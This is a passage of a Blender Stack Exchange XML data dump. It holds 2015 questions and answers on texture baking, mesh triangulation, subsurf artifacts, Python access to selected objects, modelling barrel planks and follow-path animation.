don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;surface/color baking&lt;/strong&gt;, especially normal baking, where you transfer details from Hi-res objects onto low res objects are very dependent on how a model has been triangulated. Rays cast from the high res surface to the low, virtually filling in low res gaps with information. So that if you export a model and it's map out to a different program, the triangles may be automatically cut differently to how they were in the other program, resulting in unwanted artifacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Surprising deformations/shape&lt;/strong&gt;, The way that you animated/modeled the       object may appear different because of the engine's method of triangulation, 'what you see is what you get' should be the aim. (this may need a better explanation.)&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="19703" LastEditDate="2015-12-22T07:14:22.130" LastActivityDate="2015-12-22T07:14:22.130" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36277" PostTypeId="1" CreationDate="2015-08-23T23:49:44.843" Score="2" ViewCount="406" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/w4CkT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/w4CkT.png&quot; alt=&quot;Cycles vs. Blender Internal Texture Baking result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to write a command-line script that bakes vertex colors from one object to a UV-map on a new object that has been remeshed and smart-projected. I have gotten the code working using Cycles, but I find that the output texture looks a lot worse than when I bake the texture manually using the Blender internal renderer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if there is some setting within Cycles that could be resulting in the &quot;splotchy&quot;, inaccurate texture in the image I have attached, or if there is a good reference or example for a baking script working with the Blender internal render. Based &lt;a href=&quot;https://blender.stackexchange.com/questions/27526/baking-normal-maps-in-blender-error-no-objects-or-images-found-to-bake-to&quot;&gt;on this post&lt;/a&gt; it seems like a lot of GUI navigation as opposed to just setting up nodes using Cycles.&lt;/p&gt;&#xA;" OwnerUserId="14749" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-08-24T19:59:04.107" Title="Baking textures in Cycles vs. Blender Internal" Tags="&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;texture-baking&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36279" PostTypeId="2" ParentId="36221" CreationDate="2015-08-24T00:08:30.933" Score="1" Body="&lt;p&gt;You are dealing with two issues: non-planar geometry and the interpolation generated by the subsurf modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's start with the second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The subsurf modifier is designed to make things rounder by subdividing the existing faces and make them smoother. If the faces are too big for the complex shapes you are trying to achieve, you'll see artifacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Uymj5.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uymj5.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to edit your mesh with a bit more density so that the shapes are better described. Then the subsurf modifier will not be interpolating the surfaces and it's materials in such a drastic way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aJgYZ.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aJgYZ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, for an explanation of how to deal with non-planar geometry read &lt;a href=&quot;https://blender.stackexchange.com/a/23602/1853&quot;&gt;this answer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-08-24T00:08:30.933" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36280" PostTypeId="2" ParentId="36274" CreationDate="2015-08-24T00:35:59.183" Score="10" Body="&lt;p&gt;As @Mr Zak pointed out you need to use smooth shading to get cleaner reflections on a glossy material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RumOW.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RumOW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following example should make it clear, both of the spheres are identical, and have the same amount of subdivision (2) on the subsurf modifier&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Syeat.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Syeat.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-08-24T00:35:59.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36281" PostTypeId="1" CreationDate="2015-08-24T00:37:53.300" Score="3" ViewCount="4732" Body="&lt;p&gt;If creating a basic operator and reading the list of selected objects upon execute I get the correct response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class foo(bpy.types.Operator):&#xA;    bl_label  = &quot;foo&quot;&#xA;    bl_idname = &quot;foo&quot;&#xA;&#xA;    def execute(self, context):&#xA;        print(context.selected_objects)&#xA;        return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I need to read the list of selected objects elsewhere, outside of the Operator, from within a subclass of threading.Thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Calling &lt;code&gt;bpy.context.selected_objects&lt;/code&gt; anywhere else results in an error, as it doesn't exist.. which is both puzzling and irritating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else dealt with situation before, not being able to access the list of selected objects. Is there by chance another method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have thought about creating an operator that would return the list of selected objects if invoked through python code... but I do not understand operators fully (yet) and thus do not know if that is possible.&lt;/p&gt;&#xA;" OwnerUserId="16641" LastEditorUserId="1363" LastEditDate="2015-08-25T00:26:32.653" LastActivityDate="2015-08-25T00:26:32.653" Title="bpy.context.selected_objects: Context object has no attribute &quot;selected_objects&quot;" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36282" PostTypeId="1" CreationDate="2015-08-24T00:39:58.903" Score="1" ViewCount="27" Body="&lt;p&gt;I am having an issue with what I believe is the anisotropic shading on my object. It's causing this weird radial pattern on the texture beneath it in an actual render, but it looks good in the rendered view inside the viewport. In the image, the bottom is the viewport rendered view, and the top is an actual render with the same amount of samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rVHVo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rVHVo.jpg&quot; alt=&quot;Anisotropic shader glitch&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16643" LastActivityDate="2015-08-24T00:39:58.903" Title="Weird radial pattern on texture in cycles render, but not viewport rendered" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-08-24T01:15:58.320" ContentLicense="CC BY-SA 3.0" />
  <row Id="36283" PostTypeId="2" ParentId="36281" CreationDate="2015-08-24T00:45:38.943" Score="3" Body="&lt;p&gt;The context is dependent on quite a number of things, and not every context holds the scene's set of selected_objects. A safer and more consistent way to get the selected objects is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;selected_objects = [ o for o in bpy.context.scene.objects if o.select ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15861" LastActivityDate="2015-08-24T00:45:38.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36285" PostTypeId="2" ParentId="36253" CreationDate="2015-08-24T02:20:47.713" Score="-1" Body="&lt;p&gt;You may have a flipped normals. If you swap into edit mode and select one of its faces then ctrl-F to get your drop down and select &quot;flip normal&quot; may help.&lt;/p&gt;&#xA;" OwnerUserId="16645" LastActivityDate="2015-08-24T02:20:47.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36287" PostTypeId="2" ParentId="36153" CreationDate="2015-08-24T05:53:30.913" Score="0" Body="&lt;p&gt;&lt;strong&gt;Cup to surface&lt;/strong&gt;&#xA;A very simple method to &quot;stick&quot; an object to another is to parent them together. This way the child object will move with the parent object - it &quot;sticks&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can dynamically change this relationship either with the parent actuator or via Python [setParent(), removeParent()]. You can move the child relative to the parent or relative to the scene. As the child will not be a physics object, you can use location changes &quot;Loc:&quot; of the motion actuator. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pendulum to cup&lt;/strong&gt;&#xA;To add a pendulum (which I guess should be a rigid body) I suggest to establish a rigid body constraint between the cup and the pendulum. This way they both are bound together via physics rather then parent/child. This allows the pendulum to swing and react on forces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Remark:&lt;/em&gt;&#xA;The BGE is a game engine which means it should entertain, rather than a physics simulation which is supposed to simulate real conditions as precise as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore I strongly suggest to focus on the effect rather than the cause. &lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-08-24T05:53:30.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36288" PostTypeId="2" ParentId="36165" CreationDate="2015-08-24T05:58:07.883" Score="1" Body="&lt;p&gt;You can measure the frames with a delay sensor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WfPEE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WfPEE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-08-24T05:58:07.883" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36289" PostTypeId="1" CreationDate="2015-08-24T06:18:20.297" Score="1" ViewCount="294" Body="&lt;p&gt;I have a problem when importing an mhx file to blender. Some body parts are missing after importing the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/F8PUO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/F8PUO.png&quot; alt=&quot;Missing body parts&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when i import it to a new blender file it works fine. &lt;/p&gt;&#xA;" OwnerUserId="15695" LastActivityDate="2015-08-24T07:16:52.323" Title="Missing body parts when importing mhx in blender" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36290" PostTypeId="2" ParentId="36289" CreationDate="2015-08-24T07:16:52.323" Score="2" Body="&lt;p&gt;This is what is expected when you export an .mhx from MakeHuman with clothing.  You need to deselect the options that hide the body parts under clothing in MakeHuman prior to export.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MakeHuman provides those options to reduce polygons/vertices that are not intended to ever be seen in a game, render, or animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, when importing an .mhx model in Blender, you are given options for hiding/showing various aspects of the model.  Just make sure your &quot;hide vertices under clothing&quot; options are set to be disabled in both programs.&lt;/p&gt;&#xA;" OwnerUserId="10935" LastActivityDate="2015-08-24T07:16:52.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36291" PostTypeId="1" AcceptedAnswerId="36293" CreationDate="2015-08-24T07:24:08.217" Score="27" ViewCount="3018" Body="&lt;p&gt;I'm trying to make the planks in a barrel, without involving sculpting. What is a good method? I thought about an array, but haven't had too much luck. &#xA;this is what I've got at the moment,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yDEJZ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yDEJZ.png&quot; alt=&quot;Barrel Try&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I'm trying to get something like this second picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kv5Bn.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kv5Bn.png&quot; alt=&quot;Barrel cool&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I get some advice?&lt;/p&gt;&#xA;" OwnerUserId="13902" LastEditorUserId="599" LastEditDate="2015-08-25T02:43:38.670" LastActivityDate="2015-08-25T22:12:01.243" Title="Good approach to make planks for a barrel?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;&lt;workflow&gt;" AnswerCount="5" CommentCount="3" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36292" PostTypeId="1" CreationDate="2015-08-24T07:58:45.997" Score="2" ViewCount="240" Body="&lt;p&gt;Using a character rigged with Pitchypoy Rigify in different scenes.&#xA;Can't understand why when opening certain scenes the &quot;rig layers&quot; normally visible in the N panel disappear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &quot;auto run scripts&quot; in pref users is ON.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;" OwnerUserId="16647" LastActivityDate="2015-09-16T03:51:22.547" Title="Pitchypoy rigify issue" Tags="&lt;rigify&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36293" PostTypeId="2" ParentId="36291" CreationDate="2015-08-24T08:02:33.780" Score="29" Body="&lt;p&gt;There undoubtedly lots of ways of doing this. Here's one of them:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Array modifier&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Use an &lt;a href=&quot;http://blender.org/manual/modifiers/generate/array.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;array modifier&lt;/a&gt; with an object offset to duplicate one board object around radially. This way all the boards can be easily tweaked later on by editing just one; changes will be copied to the other boards.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the board object. If you want a certain number of boards (say, 16), then you'll want to be sure the board's width is 1 16th the circumference of the desired circle. The easiest way to do this is add a circle with 16 sides:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4jNhU.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4jNhU.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a circle (&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;) and set the sides to 16 in the &lt;em&gt;redo panel&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Extrude (&lt;kbd&gt;E&lt;/kbd&gt;) it into a barrel shape. I used a loop cut (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;), beveling (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;), and scaling (&lt;kbd&gt;S&lt;/kbd&gt;) to quickly make a basic barrel shape.&lt;/li&gt;&#xA;&lt;li&gt;Select one face loop (&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt;) and invert the selection (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt;), then delete faces (&lt;kbd&gt;&amp;#8998; Delete&lt;/kbd&gt;, &lt;kbd&gt;F&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;With the remaining face loop selected, extrude (&lt;kbd&gt;E&lt;/kbd&gt;) and press &lt;kbd&gt;Esc&lt;/kbd&gt; to cancel the transform. Scale along the normals (&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;) to give the board some thickness.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Setup the array modifier&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WYysj.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WYysj.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add an empty and rotate it &lt;code&gt;360/16&lt;/code&gt; degrees (&lt;kbd&gt;R&lt;/kbd&gt;, &lt;kbd&gt;=&lt;/kbd&gt; &lt;code&gt;360/16&lt;/code&gt; will do the math in place and rotate the empty 22.5&amp;deg;)&lt;/li&gt;&#xA;&lt;li&gt;with the board selected, add an array modifier, disable &lt;em&gt;Relative Offset&lt;/em&gt;, and set the &lt;em&gt;Count&lt;/em&gt; to 16.&lt;/li&gt;&#xA;&lt;li&gt;Set the empty as the &lt;em&gt;Object Offset&lt;/em&gt;. &lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Optionally fatten up the board object (&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; in edit mode) to reduce the size of the cracks between the boards.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wDhIp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wDhIp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/434/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=434&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-08-24T20:25:17.400" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36294" PostTypeId="2" ParentId="35884" CreationDate="2015-08-24T08:03:30.320" Score="2" Body="&lt;p&gt;That kind of issue must be reported to &lt;a href=&quot;https://developer.blender.org/maniphest/task/create/?project=2&amp;amp;type=Bug&quot; rel=&quot;nofollow&quot;&gt;our tracker&lt;/a&gt;, with an .fbx example file to reproduce it…&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-08-24T08:03:30.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36295" PostTypeId="2" ParentId="31430" CreationDate="2015-08-24T08:54:03.563" Score="1" Body="&lt;p&gt;Your ORG-palm.0# finger bones (the base ones) have constraints copying transforms from the ORG-weapon bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The constraints were probably targeting different bone originally (hand probably).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete those constraints or re-target them to ORG-hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why don't you use Child-Of constraining for picking up objects/weapons? I think you don't need the weapon bone, this seems very non-standard.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-08-24T08:54:03.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36296" PostTypeId="1" AcceptedAnswerId="36320" CreationDate="2015-08-24T10:30:51.680" Score="7" ViewCount="1741" Body="&lt;p&gt;I have a Curve Object and a vehicle following it using a Follow Path Constraint. I'm using the Fixed Position method and keyframing the Offset slider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I had to shorten my path and now the animation keyframes no longer match up (since they are based on the length of the curve). How can I know how much to rescale my keyframes by so that they will once again occur at their proper times?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put simply, I want my vehicle to travel along the Curve at the same speed it did before, with the same acceleration/deceleration keyframe data, but adjusted to the new Curve length (stopping sooner).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In this example the red block passes the finish line at frame 15, but the last Offset keyframe is at frame 51. Is it possible to delete the point on the curve beyond the finish line while still keeping the the animation data up to the finish line in tact?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ueNzv.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ueNzv.gif&quot; alt=&quot;How can we trim the curve so the red block doesn&amp;#39;t go beyond the finish line - without altering the animation up to that point?&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the keyframes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/adrOr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/adrOr.png&quot; alt=&quot;The keyframe locations&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5VKKz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5VKKz.png&quot; alt=&quot;The curves of acceleration&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/435/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=435&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what happens if we delete the last point on the curve?&#xA;The entire animation speed changes. What is the formula for correcting for this? How can we know what percentage to scale to in order to make it animate at the same speed it did before we deleted the tip point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gScWG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gScWG.png&quot; alt=&quot;Deleting the tip point of this curve changes the speed as well&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that the keyframes' Y values needs to be scaled as well as X?&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-08-25T07:31:42.517" Title="How to recalculate Follow Path animation after curve length has been altered?" Tags="&lt;animation&gt;&lt;bezier-curves&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36298" PostTypeId="2" ParentId="36228" CreationDate="2015-08-24T11:59:05.813" Score="6" Body="&lt;p&gt;The difference between them is that &lt;strong&gt;&lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/vertices.html#connect-vertices&quot; rel=&quot;nofollow noreferrer&quot;&gt;Connect Vertices&lt;/a&gt;&lt;/strong&gt; tool cuts through already exhisting geometry (just like &lt;strong&gt;&lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/subdividing/knife_subdivide.html?highlight=knife%20tool&quot; rel=&quot;nofollow noreferrer&quot;&gt;Knife Tool&lt;/a&gt;)&lt;/strong&gt;, whereas &lt;strong&gt;&lt;a href=&quot;http://www.blender.org/manual/modeling/meshes/editing/basics/creating_faces_and_edges.html?highlight=make%20edge&quot; rel=&quot;nofollow noreferrer&quot;&gt;Make Edge/Face&lt;/a&gt;&lt;/strong&gt; creates new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the proposed scenario it's hard to see the difference, so to better demonstrate it I used side of the cube.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Connect Vertices&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/g2wtU.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/g2wtU.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tool will cut through exhisting geometry based on selected vertices &lt;em&gt;which belong to the same face&lt;/em&gt; (so if I selected 3 vertices where one vertice per face, there wouldn't be any effect)&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Connect Vertex Path&lt;/h3&gt; &#xA;&#xA;&lt;p&gt;&lt;sub&gt;(I decided to put it also here because for some time I couldn't get the difference)&lt;/sub&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/U0SJu.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/U0SJu.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result of using Connect Vertex Path command (&lt;kbd&gt;J&lt;/kbd&gt;). The order of selecting vertices is important; whether vertices belong to the same face is not. The adjacent faces were splitted, becoming tris now.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Make Edge/Face&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WP1B0.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WP1B0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make Edge/Face (&lt;kbd&gt;F&lt;/kbd&gt;) will simply create new face there atop of exhisting one, not splitting anything. &lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-08-24T11:59:05.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36299" PostTypeId="1" CreationDate="2015-08-24T12:01:56.517" Score="1" ViewCount="405" Body="&lt;p&gt;i have a project with the stereo camera.&#xA;I want delete all the objects outside the volume of rendering of the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have all the parameters of the camera and i have calculated the near plane, the far plane and the convergence plane (i know all the vertices).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i don't understand How can I see if an object is inside the volume rendering of the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how put the objects in the camera's coordinate system&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;camera.matrix_world.inverted() * obj.location&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s.&#xA;i have see this question:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/27937/what-are-the-formulas-to-define-the-cameras-view-cone&quot;&gt;What are the formulas to define the camera&amp;#39;s view cone?&lt;/a&gt;&#xA;it's good but it does not work very well&lt;/p&gt;&#xA;" OwnerUserId="15519" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-08-24T12:01:56.517" Title="How can I see if an object is inside the volume rendering of the camera?" Tags="&lt;python&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36301" PostTypeId="2" ParentId="36291" CreationDate="2015-08-24T13:04:15.250" Score="9" Body="&lt;p&gt;Using the &lt;strong&gt;Inset&lt;/strong&gt; tool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with a cylinder. Enter edit mode. With all the faces selected activate the Inset tool by pressing &lt;kbd&gt;I&lt;/kbd&gt;.&#xA;On the toolshelf enable &lt;em&gt;Individual Faces&lt;/em&gt; and move the thickness and depth to your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IQUs3.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IQUs3.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a few loop cuts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Qpyaw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qpyaw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable proportional edit(&lt;kbd&gt;O&lt;/kbd&gt;), select the middle loop cut and scale 